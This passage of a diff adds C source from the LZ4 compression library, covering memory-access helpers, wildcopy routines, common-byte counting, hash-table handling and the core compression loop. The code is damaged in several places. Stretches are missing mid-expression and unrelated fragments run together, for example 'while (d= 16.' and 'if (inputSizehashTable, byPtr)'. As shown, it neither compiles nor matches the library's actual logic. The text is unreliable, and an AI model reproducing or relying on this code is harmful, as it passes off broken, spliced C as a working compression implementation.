LZ4_unalignST*)ptr)->uArch; } + +static void LZ4_write16(void* memPtr, U16 value) { ((LZ4_unalign16*)memPtr)->u16 = value; } + +static void LZ4_write32(void* memPtr, U32 value) { ((LZ4_unalign32*)memPtr)->u32 = value; } + +#else /* safe and portable access using memcpy() */ + +static U16 LZ4_read16(const void* memPtr) +{ + U16 val; LZ4_memcpy(&val, memPtr, sizeof(val)); return val; +} + +static U32 LZ4_read32(const void* memPtr) +{ + U32 val; LZ4_memcpy(&val, memPtr, sizeof(val)); return val; +} + +static reg_t LZ4_read_ARCH(const void* memPtr) +{ + reg_t val; LZ4_memcpy(&val, memPtr, sizeof(val)); return val; +} + +static void LZ4_write16(void* memPtr, U16 value) +{ + LZ4_memcpy(memPtr, &value, sizeof(value)); +} + +static void LZ4_write32(void* memPtr, U32 value) +{ + LZ4_memcpy(memPtr, &value, sizeof(value)); +} + +#endif /* LZ4_FORCE_MEMORY_ACCESS */ + +static U16 LZ4_readLE16(const void* memPtr) +{ + if (LZ4_isLittleEndian()) { + return LZ4_read16(memPtr); + } else { + const BYTE* p = (const BYTE*)memPtr; + return (U16)((U16)p[0] + (p[1]<<8)); + } +} + +static void LZ4_writeLE16(void* memPtr, U16 value) +{ + if (LZ4_isLittleEndian()) { + LZ4_write16(memPtr, value); + } else { + BYTE* p = (BYTE*)memPtr; + p[0] = (BYTE) value; + p[1] = (BYTE)(value>>8); + } +} + +/* customized variant of memcpy, which can overwrite up to 8 bytes beyond dstEnd */ +LZ4_FORCE_INLINE +void LZ4_wildCopy8(void* dstPtr, const void* srcPtr, void* dstEnd) +{ + BYTE* d = (BYTE*)dstPtr; + const BYTE* s = (const BYTE*)srcPtr; + BYTE* const e = (BYTE*)dstEnd; + + do { LZ4_memcpy(d,s,8); d+=8; s+=8; } while (d= 16. */ +LZ4_FORCE_INLINE void +LZ4_wildCopy32(void* dstPtr, const void* srcPtr, void* dstEnd) +{ + BYTE* d = (BYTE*)dstPtr; + const BYTE* s = (const BYTE*)srcPtr; + BYTE* const e = (BYTE*)dstEnd; + + do { LZ4_memcpy(d,s,16); LZ4_memcpy(d+16,s+16,16); d+=32; s+=32; } while (d= dstPtr + MINMATCH + * - there is at least 8 bytes available to write after dstEnd */ +LZ4_FORCE_INLINE void +LZ4_memcpy_using_offset(BYTE* dstPtr, const BYTE* srcPtr, BYTE* dstEnd, const size_t offset) +{ + BYTE v[8]; + + assert(dstEnd >= dstPtr + MINMATCH); + + switch(offset) { + case 1: + MEM_INIT(v, *srcPtr, 8); + break; + case 2: + LZ4_memcpy(v, srcPtr, 2); + LZ4_memcpy(&v[2], srcPtr, 2); +#if defined(_MSC_VER) && (_MSC_VER <= 1933) /* MSVC 2022 ver 17.3 or earlier */ +# pragma warning(push) +# pragma warning(disable : 6385) /* warning C6385: Reading invalid data from 'v'. */ +#endif + LZ4_memcpy(&v[4], v, 4); +#if defined(_MSC_VER) && (_MSC_VER <= 1933) /* MSVC 2022 ver 17.3 or earlier */ +# pragma warning(pop) +#endif + break; + case 4: + LZ4_memcpy(v, srcPtr, 4); + LZ4_memcpy(&v[4], srcPtr, 4); + break; + default: + LZ4_memcpy_using_offset_base(dstPtr, srcPtr, dstEnd, offset); + return; + } + + LZ4_memcpy(dstPtr, v, 8); + dstPtr += 8; + while (dstPtr < dstEnd) { + LZ4_memcpy(dstPtr, v, 8); + dstPtr += 8; + } +} +#endif + + +/*-************************************ +* Common functions +**************************************/ +static unsigned LZ4_NbCommonBytes (reg_t val) +{ + assert(val != 0); + if (LZ4_isLittleEndian()) { + if (sizeof(val) == 8) { +# if defined(_MSC_VER) && (_MSC_VER >= 1800) && (defined(_M_AMD64) && !defined(_M_ARM64EC)) && !defined(LZ4_FORCE_SW_BITCOUNT) +/*-************************************************************************************************* +* ARM64EC is a Microsoft-designed ARM64 ABI compatible with AMD64 applications on ARM64 Windows 11. +* The ARM64EC ABI does not support AVX/AVX2/AVX512 instructions, nor their relevant intrinsics +* including _tzcnt_u64. Therefore, we need to neuter the _tzcnt_u64 code path for ARM64EC. +****************************************************************************************************/ +# if defined(__clang__) && (__clang_major__ < 10) + /* Avoid undefined clang-cl intrinsics issue. + * See https://github.com/lz4/lz4/pull/1017 for details. */ + return (unsigned)__builtin_ia32_tzcnt_u64(val) >> 3; +# else + /* x64 CPUS without BMI support interpret `TZCNT` as `REP BSF` */ + return (unsigned)_tzcnt_u64(val) >> 3; +# endif +# elif defined(_MSC_VER) && defined(_WIN64) && !defined(LZ4_FORCE_SW_BITCOUNT) + unsigned long r = 0; + _BitScanForward64(&r, (U64)val); + return (unsigned)r >> 3; +# elif (defined(__clang__) || (defined(__GNUC__) && ((__GNUC__ > 3) || \ + ((__GNUC__ == 3) && (__GNUC_MINOR__ >= 4))))) && \ + !defined(LZ4_FORCE_SW_BITCOUNT) + return (unsigned)__builtin_ctzll((U64)val) >> 3; +# else + const U64 m = 0x0101010101010101ULL; + val ^= val - 1; + return (unsigned)(((U64)((val & (m - 1)) * m)) >> 56); +# endif + } else /* 32 bits */ { +# if defined(_MSC_VER) && (_MSC_VER >= 1400) && !defined(LZ4_FORCE_SW_BITCOUNT) + unsigned long r; + _BitScanForward(&r, (U32)val); + return (unsigned)r >> 3; +# elif (defined(__clang__) || (defined(__GNUC__) && ((__GNUC__ > 3) || \ + ((__GNUC__ == 3) && (__GNUC_MINOR__ >= 4))))) && \ + !defined(__TINYC__) && !defined(LZ4_FORCE_SW_BITCOUNT) + return (unsigned)__builtin_ctz((U32)val) >> 3; +# else + const U32 m = 0x01010101; + return (unsigned)((((val - 1) ^ val) & (m - 1)) * m) >> 24; +# endif + } + } else /* Big Endian CPU */ { + if (sizeof(val)==8) { +# if (defined(__clang__) || (defined(__GNUC__) && ((__GNUC__ > 3) || \ + ((__GNUC__ == 3) && (__GNUC_MINOR__ >= 4))))) && \ + !defined(__TINYC__) && !defined(LZ4_FORCE_SW_BITCOUNT) + return (unsigned)__builtin_clzll((U64)val) >> 3; +# else +#if 1 + /* this method is probably faster, + * but adds a 128 bytes lookup table */ + static const unsigned char ctz7_tab[128] = { + 7, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, + 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, + 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, + 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, + 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, + 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, + 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, + 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0, + }; + U64 const mask = 0x0101010101010101ULL; + U64 const t = (((val >> 8) - mask) | val) & mask; + return ctz7_tab[(t * 0x0080402010080402ULL) >> 57]; +#else + /* this method doesn't consume memory space like the previous one, + * but it contains several branches, + * that may end up slowing execution */ + static const U32 by32 = sizeof(val)*4; /* 32 on 64 bits (goal), 16 on 32 bits. + Just to avoid some static analyzer complaining about shift by 32 on 32-bits target. + Note that this code path is never triggered in 32-bits mode. */ + unsigned r; + if (!(val>>by32)) { r=4; } else { r=0; val>>=by32; } + if (!(val>>16)) { r+=2; val>>=8; } else { val>>=24; } + r += (!val); + return r; +#endif +# endif + } else /* 32 bits */ { +# if (defined(__clang__) || (defined(__GNUC__) && ((__GNUC__ > 3) || \ + ((__GNUC__ == 3) && (__GNUC_MINOR__ >= 4))))) && \ + !defined(LZ4_FORCE_SW_BITCOUNT) + return (unsigned)__builtin_clz((U32)val) >> 3; +# else + val >>= 8; + val = ((((val + 0x00FFFF00) | 0x00FFFFFF) + val) | + (val + 0x00FF0000)) >> 24; + return (unsigned)val ^ 3; +# endif + } + } +} + + +#define STEPSIZE sizeof(reg_t) +LZ4_FORCE_INLINE unsigned +LZ4_count(const BYTE* pIn, const BYTE* pMatch, const BYTE* pInLimit) +{ + const BYTE* const pStart = pIn; + + if (likely(pIn < pInLimit-(STEPSIZE-1))) { + reg_t const diff = LZ4_read_ARCH(pMatch) ^ LZ4_read_ARCH(pIn); + if (!diff) { + pIn+=STEPSIZE; pMatch+=STEPSIZE; + } else { + return LZ4_NbCommonBytes(diff); + } } + + while (likely(pIn < pInLimit-(STEPSIZE-1))) { + reg_t const diff = LZ4_read_ARCH(pMatch) ^ LZ4_read_ARCH(pIn); + if (!diff) { pIn+=STEPSIZE; pMatch+=STEPSIZE; continue; } + pIn += LZ4_NbCommonBytes(diff); + return (unsigned)(pIn - pStart); + } + + if ((STEPSIZE==8) && (pIn<(pInLimit-3)) && (LZ4_read32(pMatch) == LZ4_read32(pIn))) { pIn+=4; pMatch+=4; } + if ((pIn<(pInLimit-1)) && (LZ4_read16(pMatch) == LZ4_read16(pIn))) { pIn+=2; pMatch+=2; } + if ((pIn compression run slower on incompressible data */ + + +/*-************************************ +* Local Structures and types +**************************************/ +typedef enum { clearedTable = 0, byPtr, byU32, byU16 } tableType_t; + +/** + * This enum distinguishes several different modes of accessing previous + * content in the stream. + * + * - noDict : There is no preceding content. + * - withPrefix64k : Table entries up to ctx->dictSize before the current blob + * blob being compressed are valid and refer to the preceding + * content (of length ctx->dictSize), which is available + * contiguously preceding in memory the content currently + * being compressed. + * - usingExtDict : Like withPrefix64k, but the preceding content is somewhere + * else in memory, starting at ctx->dictionary with length + * ctx->dictSize. + * - usingDictCtx : Everything concerning the preceding content is + * in a separate context, pointed to by ctx->dictCtx. + * ctx->dictionary, ctx->dictSize, and table entries + * in the current context that refer to positions + * preceding the beginning of the current compression are + * ignored. Instead, ctx->dictCtx->dictionary and ctx->dictCtx + * ->dictSize describe the location and size of the preceding + * content, and matches are found by looking in the ctx + * ->dictCtx->hashTable. + */ +typedef enum { noDict = 0, withPrefix64k, usingExtDict, usingDictCtx } dict_directive; +typedef enum { noDictIssue = 0, dictSmall } dictIssue_directive; + + +/*-************************************ +* Local Utils +**************************************/ +int LZ4_versionNumber (void) { return LZ4_VERSION_NUMBER; } +const char* LZ4_versionString(void) { return LZ4_VERSION_STRING; } +int LZ4_compressBound(int isize) { return LZ4_COMPRESSBOUND(isize); } +int LZ4_sizeofState(void) { return sizeof(LZ4_stream_t); } + + +/*-**************************************** +* Internal Definitions, used only in Tests +*******************************************/ +#if defined (__cplusplus) +extern "C" { +#endif + +int LZ4_compress_forceExtDict (LZ4_stream_t* LZ4_dict, const char* source, char* dest, int srcSize); + +int LZ4_decompress_safe_forceExtDict(const char* source, char* dest, + int compressedSize, int maxOutputSize, + const void* dictStart, size_t dictSize); +int LZ4_decompress_safe_partial_forceExtDict(const char* source, char* dest, + int compressedSize, int targetOutputSize, int dstCapacity, + const void* dictStart, size_t dictSize); +#if defined (__cplusplus) +} +#endif + +/*-****************************** +* Compression functions +********************************/ + +LZ4_FORCE_INLINE U32 +LZ4_hash4(U32 sequence, tableType_t const tableType) +{ + if (tableType == byU16) + return ((sequence * 2654435761U) >> ((MINMATCH*8)-(LZ4_HASHLOG+1))); + else + return ((sequence * 2654435761U) >> ((MINMATCH*8)-LZ4_HASHLOG)); +} + +LZ4_FORCE_INLINE U32 +LZ4_hash5(U64 sequence, tableType_t const tableType) +{ + const U32 hashLog = (tableType == byU16) ? LZ4_HASHLOG+1 : LZ4_HASHLOG; + if (LZ4_isLittleEndian()) { + const U64 prime5bytes = 889523592379ULL; + return (U32)(((sequence << 24) * prime5bytes) >> (64 - hashLog)); + } else { + const U64 prime8bytes = 11400714785074694791ULL; + return (U32)(((sequence >> 24) * prime8bytes) >> (64 - hashLog)); + } +} + +LZ4_FORCE_INLINE U32 LZ4_hashPosition(const void* const p, tableType_t const tableType) +{ + if ((sizeof(reg_t)==8) && (tableType != byU16)) return LZ4_hash5(LZ4_read_ARCH(p), tableType); + return LZ4_hash4(LZ4_read32(p), tableType); +} + +LZ4_FORCE_INLINE void +LZ4_clearHash(U32 h, void* tableBase, tableType_t const tableType) +{ + switch (tableType) + { + default: /* fallthrough */ + case clearedTable: { /* illegal! */ assert(0); return; } + case byPtr: { const BYTE** hashTable = (const BYTE**)tableBase; hashTable[h] = NULL; return; } + case byU32: { U32* hashTable = (U32*) tableBase; hashTable[h] = 0; return; } + case byU16: { U16* hashTable = (U16*) tableBase; hashTable[h] = 0; return; } + } +} + +LZ4_FORCE_INLINE void +LZ4_putIndexOnHash(U32 idx, U32 h, void* tableBase, tableType_t const tableType) +{ + switch (tableType) + { + default: /* fallthrough */ + case clearedTable: /* fallthrough */ + case byPtr: { /* illegal! */ assert(0); return; } + case byU32: { U32* hashTable = (U32*) tableBase; hashTable[h] = idx; return; } + case byU16: { U16* hashTable = (U16*) tableBase; assert(idx < 65536); hashTable[h] = (U16)idx; return; } + } +} + +/* LZ4_putPosition*() : only used in byPtr mode */ +LZ4_FORCE_INLINE void +LZ4_putPositionOnHash(const BYTE* p, U32 h, + void* tableBase, tableType_t const tableType) +{ + const BYTE** const hashTable = (const BYTE**)tableBase; + assert(tableType == byPtr); (void)tableType; + hashTable[h] = p; +} + +LZ4_FORCE_INLINE void +LZ4_putPosition(const BYTE* p, void* tableBase, tableType_t tableType) +{ + U32 const h = LZ4_hashPosition(p, tableType); + LZ4_putPositionOnHash(p, h, tableBase, tableType); +} + +/* LZ4_getIndexOnHash() : + * Index of match position registered in hash table. + * hash position must be calculated by using base+index, or dictBase+index. + * Assumption 1 : only valid if tableType == byU32 or byU16. + * Assumption 2 : h is presumed valid (within limits of hash table) + */ +LZ4_FORCE_INLINE U32 +LZ4_getIndexOnHash(U32 h, const void* tableBase, tableType_t tableType) +{ + LZ4_STATIC_ASSERT(LZ4_MEMORY_USAGE > 2); + if (tableType == byU32) { + const U32* const hashTable = (const U32*) tableBase; + assert(h < (1U << (LZ4_MEMORY_USAGE-2))); + return hashTable[h]; + } + if (tableType == byU16) { + const U16* const hashTable = (const U16*) tableBase; + assert(h < (1U << (LZ4_MEMORY_USAGE-1))); + return hashTable[h]; + } + assert(0); return 0; /* forbidden case */ +} + +static const BYTE* LZ4_getPositionOnHash(U32 h, const void* tableBase, tableType_t tableType) +{ + assert(tableType == byPtr); (void)tableType; + { const BYTE* const* hashTable = (const BYTE* const*) tableBase; return hashTable[h]; } +} + + +LZ4_FORCE_INLINE const BYTE* +LZ4_getPosition(const BYTE* p, + const void* tableBase, tableType_t tableType) +{ + U32 const h = LZ4_hashPosition(p, tableType); + return LZ4_getPositionOnHash(h, tableBase, tableType); +} + + +LZ4_FORCE_INLINE void +LZ4_prepareTable(LZ4_stream_t_internal* const cctx, + const int inputSize, + const tableType_t tableType) { + /* If the table hasn't been used, it's guaranteed to be zeroed out, and is + * therefore safe to use no matter what mode we're in. Otherwise, we figure + * out if it's safe to leave as is or whether it needs to be reset. + */ + if ((tableType_t)cctx->tableType != clearedTable) { + assert(inputSize >= 0); + if ((tableType_t)cctx->tableType != tableType + || ((tableType == byU16) && cctx->currentOffset + (unsigned)inputSize >= 0xFFFFU) + || ((tableType == byU32) && cctx->currentOffset > 1 GB) + || tableType == byPtr + || inputSize >= 4 KB) + { + DEBUGLOG(4, "LZ4_prepareTable: Resetting table in %p", cctx); + MEM_INIT(cctx->hashTable, 0, LZ4_HASHTABLESIZE); + cctx->currentOffset = 0; + cctx->tableType = (U32)clearedTable; + } else { + DEBUGLOG(4, "LZ4_prepareTable: Re-use hash table (no reset)"); + } + } + + /* Adding a gap, so all previous entries are > LZ4_DISTANCE_MAX back, + * is faster than compressing without a gap. + * However, compressing with currentOffset == 0 is faster still, + * so we preserve that case. + */ + if (cctx->currentOffset != 0 && tableType == byU32) { + DEBUGLOG(5, "LZ4_prepareTable: adding 64KB to currentOffset"); + cctx->currentOffset += 64 KB; + } + + /* Finally, clear history */ + cctx->dictCtx = NULL; + cctx->dictionary = NULL; + cctx->dictSize = 0; +} + +/** LZ4_compress_generic() : + * inlined, to ensure branches are decided at compilation time. + * The following conditions are presumed already validated: + * - source != NULL + * - inputSize > 0 + */ +LZ4_FORCE_INLINE int +LZ4_compress_generic_validated( + LZ4_stream_t_internal* const cctx, + const char* const source, + char* const dest, + const int inputSize, + int* inputConsumed, /* only written when outputDirective == fillOutput */ + const int maxOutputSize, + const limitedOutput_directive outputDirective, + const tableType_t tableType, + const dict_directive dictDirective, + const dictIssue_directive dictIssue, + const int acceleration) +{ + int result; + const BYTE* ip = (const BYTE*)source; + + U32 const startIndex = cctx->currentOffset; + const BYTE* base = (const BYTE*)source - startIndex; + const BYTE* lowLimit; + + const LZ4_stream_t_internal* dictCtx = (const LZ4_stream_t_internal*) cctx->dictCtx; + const BYTE* const dictionary = + dictDirective == usingDictCtx ? dictCtx->dictionary : cctx->dictionary; + const U32 dictSize = + dictDirective == usingDictCtx ? dictCtx->dictSize : cctx->dictSize; + const U32 dictDelta = + (dictDirective == usingDictCtx) ? startIndex - dictCtx->currentOffset : 0; /* make indexes in dictCtx comparable with indexes in current context */ + + int const maybe_extMem = (dictDirective == usingExtDict) || (dictDirective == usingDictCtx); + U32 const prefixIdxLimit = startIndex - dictSize; /* used when dictDirective == dictSmall */ + const BYTE* const dictEnd = dictionary ? dictionary + dictSize : dictionary; + const BYTE* anchor = (const BYTE*) source; + const BYTE* const iend = ip + inputSize; + const BYTE* const mflimitPlusOne = iend - MFLIMIT + 1; + const BYTE* const matchlimit = iend - LASTLITERALS; + + /* the dictCtx currentOffset is indexed on the start of the dictionary, + * while a dictionary in the current context precedes the currentOffset */ + const BYTE* dictBase = (dictionary == NULL) ? NULL : + (dictDirective == usingDictCtx) ? + dictionary + dictSize - dictCtx->currentOffset : + dictionary + dictSize - startIndex; + + BYTE* op = (BYTE*) dest; + BYTE* const olimit = op + maxOutputSize; + + U32 offset = 0; + U32 forwardH; + + DEBUGLOG(5, "LZ4_compress_generic_validated: srcSize=%i, tableType=%u", inputSize, tableType); + assert(ip != NULL); + if (tableType == byU16) assert(inputSize= 1); + + lowLimit = (const BYTE*)source - (dictDirective == withPrefix64k ? dictSize : 0); + + /* Update context state */ + if (dictDirective == usingDictCtx) { + /* Subsequent linked blocks can't use the dictionary. */ + /* Instead, they use the block we just compressed. */ + cctx->dictCtx = NULL; + cctx->dictSize = (U32)inputSize; + } else { + cctx->dictSize += (U32)inputSize; + } + cctx->currentOffset += (U32)inputSize; + cctx->tableType = (U32)tableType; + + if (inputSizehashTable, byPtr); + } else { + LZ4_putIndexOnHash(startIndex, h, cctx->hashTable, tableType); + } } + ip++; forwardH = LZ4_hashPosition(ip, tableType); + + /* Main Loop */ + for ( ; ; ) { + const BYTE* match; + BYTE* token; + const BYTE* filledIp; + + /* Find a match */ + if (tableType == byPtr) { + const BYTE* forwardIp = ip; + int step = 1; + int searchMatchNb = acceleration << LZ4_skipTrigger; + do { + U32 const h = forwardH; + ip = forwardIp; + forwardIp += step; + step = (searchMatchNb++ >> LZ4_skipTrigger); + + if (unlikely(forwardIp > mflimitPlusOne)) goto _last_literals; + assert(ip < mflimitPlusOne); + + match = LZ4_getPositionOnHash(h, cctx->hashTable, tableType); + forwardH = LZ4_hashPosition(forwardIp, tableType); + LZ4_putPositionOnHash(ip, h, cctx->hashTable, tableType); + + } while ( (match+LZ4_DISTANCE_MAX < ip) + || (LZ4_read32(match) != LZ4_read32(ip)) ); + + } else { /* byU32, byU16 */ + + const BYTE* forwardIp = ip; + int step = 1; + int searchMatchNb = acceleration << LZ4_skipTrigger; + do { + U32 const h = forwardH; + U32 const current = (U32)(forwardIp - base); + U32 matchIndex = LZ4_getIndexOnHash(h, cctx->hashTable, tableType); + assert(matchIndex <= current); + assert(forwardIp - base < (ptrdiff_t)(2 GB - 1)); + ip = forwardIp; + forwardIp += step; + step = (searchMatchNb++ >> LZ4_skipTrigger); + + if (unlikely(forwardIp > mflimitPlusOne)) goto _last_literals; + assert(ip < mflimitPlusOne); + + if (dictDirective == usingDictCtx) { + if (matchIndex < startIndex) { + /* there was no match, try the dictionary */ + assert(tableType == byU32); + matchIndex = LZ4_getIndexOnHash(h, dictCtx->hashTable, byU32); + match = dictBase + matchIndex; + matchIndex += dictDelta; /* make dictCtx index comparable with current context */ + lowLimit = dictionary; + } else { + match = base + matchIndex; + lowLimit = (const BYTE*)source; + } + } else if (dictDirective == usingExtDict) { + if (matchIndex < startIndex) { + DEBUGLOG(7, "extDict candidate: matchIndex=%5u < startIndex=%5u", matchIndex, startIndex); + assert(startIndex - matchIndex >= MINMATCH); + assert(dictBase); + match = dictBase + matchIndex; + lowLimit = dictionary; + } else { + match = base + matchIndex; + lowLimit = (const BYTE*)source; + } + } else { /* single continuous memory segment */ + match = base + matchIndex; + } + forwardH = LZ4_hashPosition(forwardIp, tableType); + LZ4_putIndexOnHash(current, h, cctx->hashTable, tableType); + + DEBUGLOG(7, "candidate at pos=%u (offset=%u \n", matchIndex, current - matchIndex); + if ((dictIssue == dictSmall) && (matchIndex < prefixIdxLimit)) { continue; } /* match outside of valid area */ + assert(matchIndex < current); + if ( ((tableType != byU16) || (LZ4_DISTANCE_MAX < LZ4_DISTANCE_ABSOLUTE_MAX)) + && (matchIndex+LZ4_DISTANCE_MAX < current)) { + continue; + } /* too far */ + assert((current - matchIndex) <= LZ4_DISTANCE_MAX); /* match now expected within distance */ + + if (LZ4_read32(match) == LZ4_read32(ip)) { + if (maybe_extMem) offset = current - matchIndex; + break; /* match found */ + } + + } while(1); + } + + /* Catch up */ + filledIp = ip; + while (((ip>anchor) & (match > lowLimit)) && (unlikely(ip[-1]==match[-1]))) { ip--; match--; } + + /* Encode Literals */ + { unsigned const litLength = (unsigned)(ip - anchor); + token = op++; + if ((outputDirective == limitedOutput) && /* Check output buffer overflow */ + (unlikely(op + litLength + (2 + 1 + LASTLITERALS) + (litLength/255) > olimit)) ) { + return 0; /* cannot compress within `dst` budget. Stored indexes in hash table are nonetheless fine */ + } + if ((outputDirective == fillOutput) && + (unlikely(op + (litLength+240)/255 /* litlen */ + litLength /* literals */ + 2 /* offset */ + 1 /* token */ + MFLIMIT - MINMATCH /* min last literals so last match is <= end - MFLIMIT */ > olimit))) { + op--; + goto _last_literals; + } + if (litLength >= RUN_MASK) { + int len = (int)(litLength - RUN_MASK); + *token = (RUN_MASK<= 255 ; len-=255) *op++ = 255; + *op++ = (BYTE)len; + } + else *token = (BYTE)(litLength< olimit)) { + /* the match was too close to the end, rewind and go to last literals */ + op = token; + goto _last_literals; + } + + /* Encode Offset */ + if (maybe_extMem) { /* static test */ + DEBUGLOG(6, " with offset=%u (ext if > %i)", offset, (int)(ip - (const BYTE*)source)); + assert(offset <= LZ4_DISTANCE_MAX && offset > 0); + LZ4_writeLE16(op, (U16)offset); op+=2; + } else { + DEBUGLOG(6, " with offset=%u (same segment)", (U32)(ip - match)); + assert(ip-match <= LZ4_DISTANCE_MAX); + LZ4_writeLE16(op, (U16)(ip - match)); op+=2; + } + + /* Encode MatchLength */ + { unsigned matchCode; + + if ( (dictDirective==usingExtDict || dictDirective==usingDictCtx) + && (lowLimit==dictionary) /* match within extDict */ ) { + const BYTE* limit = ip + (dictEnd-match); + assert(dictEnd > match); + if (limit > matchlimit) limit = matchlimit; + matchCode = LZ4_count(ip+MINMATCH, match+MINMATCH, limit); + ip += (size_t)matchCode + MINMATCH; + if (ip==limit) { + unsigned const more = LZ4_count(limit, (const BYTE*)source, matchlimit); + matchCode += more; + ip += more; + } + DEBUGLOG(6, " with matchLength=%u starting in extDict", matchCode+MINMATCH); + } else { + matchCode = LZ4_count(ip+MINMATCH, match+MINMATCH, matchlimit); + ip += (size_t)matchCode + MINMATCH; + DEBUGLOG(6, " with matchLength=%u", matchCode+MINMATCH); + } + + if ((outputDirective) && /* Check output buffer overflow */ + (unlikely(op + (1 + LASTLITERALS) + (matchCode+240)/255 > olimit)) ) { + if (outputDirective == fillOutput) { + /* Match description too long : reduce it */ + U32 newMatchCode = 15 /* in token */ - 1 /* to avoid needing a zero byte */ + ((U32)(olimit - op) - 1 - LASTLITERALS) * 255; + ip -= matchCode - newMatchCode; + assert(newMatchCode < matchCode); + matchCode = newMatchCode; + if (unlikely(ip <= filledIp)) { + /* We have already filled up to filledIp so if ip ends up less than filledIp + * we have positions in the hash table beyond the current position. This is + * a problem if we reuse the hash table. So we have to remove these positions + * from the hash table. + */ + const BYTE* ptr; + DEBUGLOG(5, "Clearing %u positions", (U32)(filledIp - ip)); + for (ptr = ip; ptr <= filledIp; ++ptr) { + U32 const h = LZ4_hashPosition(ptr, tableType); + LZ4_clearHash(h, cctx->hashTable, tableType); + } + } + } else { + assert(outputDirective == limitedOutput); + return 0; /* cannot compress within `dst` budget. Stored indexes in hash table are nonetheless fine */ + } + } + if (matchCode >= ML_MASK) { + *token += ML_MASK; + matchCode -= ML_MASK; + LZ4_write32(op, 0xFFFFFFFF); + while (matchCode >= 4*255) { + op+=4; + LZ4_write32(op, 0xFFFFFFFF); + matchCode -= 4*255; + } + op += matchCode / 255; + *op++ = (BYTE)(matchCode % 255); + } else + *token += (BYTE)(matchCode); + } + /* Ensure we have enough space for the last literals. */ + assert(!(outputDirective == fillOutput && op + 1 + LASTLITERALS > olimit)); + + anchor = ip; + + /* Test end of chunk */ + if (ip >= mflimitPlusOne) break; + + /* Fill table */ + { U32 const h = LZ4_hashPosition(ip-2, tableType); + if (tableType == byPtr) { + LZ4_putPositionOnHash(ip-2, h, cctx->hashTable, byPtr); + } else { + U32 const idx = (U32)((ip-2) - base); + LZ4_putIndexOnHash(idx, h, cctx->hashTable, tableType); + } } + + /* Test next position */ + if (tableType == byPtr) { + + match = LZ4_getPosition(ip, cctx->hashTable, tableType); + LZ4_putPosition(ip, cctx->hashTable, tableType); + if ( (match+LZ4_DISTANCE_MAX >= ip) + && (LZ4_read32(match) == LZ4_read32(ip)) ) + { token=op++; *token=0; goto _next_match; } + + } else { /* byU32, byU16 */ + + U32 const h = LZ4_hashPosition(ip, tableType); + U32 const current = (U32)(ip-base); + U32 matchIndex = LZ4_getIndexOnHash(h, cctx->hashTable, tableType); + assert(matchIndex < current); + if (dictDirective == usingDictCtx) { + if (matchIndex < startIndex) { + /* there was no match, try the dictionary */ + assert(tableType == byU32); + matchIndex = LZ4_getIndexOnHash(h, dictCtx->hashTable, byU32); + match = dictBase + matchIndex; + lowLimit = dictionary; /* required for match length counter */ + matchIndex += dictDelta; + } else { + match = base + matchIndex; + lowLimit = (const BYTE*)source; /* required for match length counter */ + } + } else if (dictDirective==usingExtDict) { + if (matchIndex < startIndex) { + assert(dictBase); + match = dictBase + matchIndex; + lowLimit = dictionary; /* required for match length counter */ + } else { + match = base + matchIndex; + lowLimit = (const BYTE*)source; /* required for match length counter */ + } + } else { /* single memory segment */ + match = base + matchIndex; + } + LZ4_putIndexOnHash(current, h, cctx->hashTable, tableType); + assert(matchIndex < current); + if ( ((dictIssue==dictSmall) ? (matchIndex >= prefixIdxLimit) : 1) + && (((tableType==byU16) && (LZ4_DISTANCE_MAX == LZ4_DISTANCE_ABSOLUTE_MAX)) ? 1 : (matchIndex+LZ4_DISTANCE_MAX >= current)) + && (LZ4_read32(match) == LZ4_read32(ip)) ) { + token=op++; + *token=0; + if (maybe_extMem) offset = current - matchIndex; + DEBUGLOG(6, "seq.start:%i, literals=%u, match.start:%i", + (int)(anchor-(const BYTE*)source), 0, (int)(ip-(const BYTE*)source)); + goto _next_match; + } + } + + /* Prepare next loop */ + forwardH = LZ4_hashPosition(++ip, tableType); + + } + +_last_literals: + /* Encode Last Literals */ + { size_t lastRun = (size_t)(iend - anchor); + if ( (outputDirective) && /* Check output buffer overflow */ + (op + lastRun + 1 + ((lastRun+255-RUN_MASK)/255) > olimit)) { + if (outputDirective == fillOutput) { + /* adapt lastRun to fill 'dst' */ + assert(olimit >= op); + lastRun = (size_t)(olimit-op) - 1/*token*/; + lastRun -= (lastRun + 256 - RUN_MASK) / 256; /*additional length tokens*/ + } else { + assert(outputDirective == limitedOutput); + return 0; /* cannot compress within `dst` budget. Stored indexes in hash table are nonetheless fine */ + } + } + DEBUGLOG(6, "Final literal run : %i literals", (int)lastRun); + if (lastRun >= RUN_MASK) { + size_t accumulator = lastRun - RUN_MASK; + *op++ = RUN_MASK << ML_BITS; + for(; accumulator >= 255 ; accumulator-=255) *op++ = 255; + *op++ = (BYTE) accumulator; + } else { + *op++ = (BYTE)(lastRun< 0); + DEBUGLOG(5, "LZ4_compress_generic: compressed %i bytes into %i bytes", inputSize, result); + return result; +} + +/** LZ4_compress_generic() : + * inlined, to ensure branches are decided at compilation time; + * takes care of src == (NULL, 0) + * and forward the rest to LZ4_compress_generic_validated */ +LZ4_FORCE_INLINE int +LZ4_compress_generic( + LZ4_stream_t_internal* const cctx, + const char* const src, + char* const dst, + const int srcSize, + int *inputConsumed, /* only written when outputDirective == fillOutput */ + const int dstCapacity, + const limitedOutput_directive outputDirective, + const tableType_t tableType, + const dict_directive dictDirective, + const dictIssue_directive dictIssue, + const int acceleration) +{ + DEBUGLOG(5, "LZ4_compress_generic: srcSize=%i, dstCapacity=%i", + srcSize, dstCapacity); + + if ((U32)srcSize > (U32)LZ4_MAX_INPUT_SIZE) { return 0; } /* Unsupported srcSize, too large (or negative) */ + if (srcSize == 0) { /* src == NULL supported if srcSize == 0 */ + if (outputDirective != notLimited && dstCapacity <= 0) return 0; /* no output, can't write anything */ + DEBUGLOG(5, "Generating an empty block"); + assert(outputDirective == notLimited || dstCapacity >= 1); + assert(dst != NULL); + dst[0] = 0; + if (outputDirective == fillOutput) { + assert (inputConsumed != NULL); + *inputConsumed = 0; + } + return 1; + } + assert(src != NULL); + + return 